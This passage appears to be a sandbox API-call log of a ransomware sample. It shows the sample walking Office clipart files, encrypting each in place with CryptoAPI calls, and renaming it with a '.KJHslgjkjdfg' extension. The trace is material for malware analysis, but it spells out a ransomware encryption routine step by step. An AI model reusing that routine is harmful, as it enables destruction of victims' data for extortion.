pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.911] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.911] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0180.913] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.913] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.913] GetProcessHeap () returned 0x2a0000 [0180.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.914] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.914] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.914] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.914] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.914] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.914] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.914] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.914] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.914] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.914] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.914] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.914] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x51be, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x51be, lpOverlapped=0x0) returned 1 [0180.916] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x51c0, dwBufLen=0x51c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x51c0) returned 1 [0180.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.916] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x51c0, lpOverlapped=0x0) returned 1 [0180.916] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.916] SetEndOfFile (hFile=0x114) returned 1 [0180.919] GetProcessHeap () returned 0x2a0000 [0180.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.919] GetProcessHeap () returned 0x2a0000 [0180.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.kjhslgjkjdfg")) returned 1 [0180.921] CloseHandle (hObject=0x114) returned 1 [0180.921] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1 [0180.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.922] GetProcessHeap () returned 0x2a0000 [0180.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.922] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.922] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.922] GetProcessHeap () returned 0x2a0000 [0180.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.922] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.922] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.922] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.925] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.925] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.925] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.925] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.926] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.926] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.926] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.926] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x59a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x59a0, lpOverlapped=0x0) returned 1 [0180.927] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x59a0, dwBufLen=0x59a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x59a0) returned 1 [0180.927] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.927] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x59a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x59a0, lpOverlapped=0x0) returned 1 [0180.927] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.928] SetEndOfFile (hFile=0x114) returned 1 [0180.931] GetProcessHeap () returned 0x2a0000 [0180.931] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.931] GetProcessHeap () returned 0x2a0000 [0180.931] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.kjhslgjkjdfg")) returned 1 [0180.932] CloseHandle (hObject=0x114) returned 1 [0180.933] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1 [0180.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.935] GetProcessHeap () returned 0x2a0000 [0180.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.935] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.935] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0180.937] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.937] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.937] GetProcessHeap () returned 0x2a0000 [0180.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.938] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.938] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.938] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.938] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.938] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.938] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.938] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.938] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1334, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1334, lpOverlapped=0x0) returned 1 [0180.939] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1340, dwBufLen=0x1340 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1340) returned 1 [0180.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.940] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1340, lpOverlapped=0x0) returned 1 [0180.940] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.940] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.940] SetEndOfFile (hFile=0x114) returned 1 [0180.943] GetProcessHeap () returned 0x2a0000 [0180.943] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.943] GetProcessHeap () returned 0x2a0000 [0180.943] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.kjhslgjkjdfg")) returned 1 [0180.945] CloseHandle (hObject=0x114) returned 1 [0180.945] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1 [0180.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.946] GetProcessHeap () returned 0x2a0000 [0180.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.946] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.946] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.949] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.949] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.949] GetProcessHeap () returned 0x2a0000 [0180.949] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.949] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.949] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.949] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.949] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.949] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.949] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.949] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.950] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.950] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.950] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.950] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d3c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d3c, lpOverlapped=0x0) returned 1 [0180.951] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d40, dwBufLen=0x1d40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d40) returned 1 [0180.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.951] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d40, lpOverlapped=0x0) returned 1 [0180.951] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.951] SetEndOfFile (hFile=0x114) returned 1 [0180.954] GetProcessHeap () returned 0x2a0000 [0180.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.955] GetProcessHeap () returned 0x2a0000 [0180.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.kjhslgjkjdfg")) returned 1 [0180.957] CloseHandle (hObject=0x114) returned 1 [0180.957] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1 [0180.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.958] GetProcessHeap () returned 0x2a0000 [0180.958] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.958] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.959] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.961] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.961] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.961] GetProcessHeap () returned 0x2a0000 [0180.961] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.961] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.961] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.961] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.961] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.961] WriteFile (in: hFile=0x114, 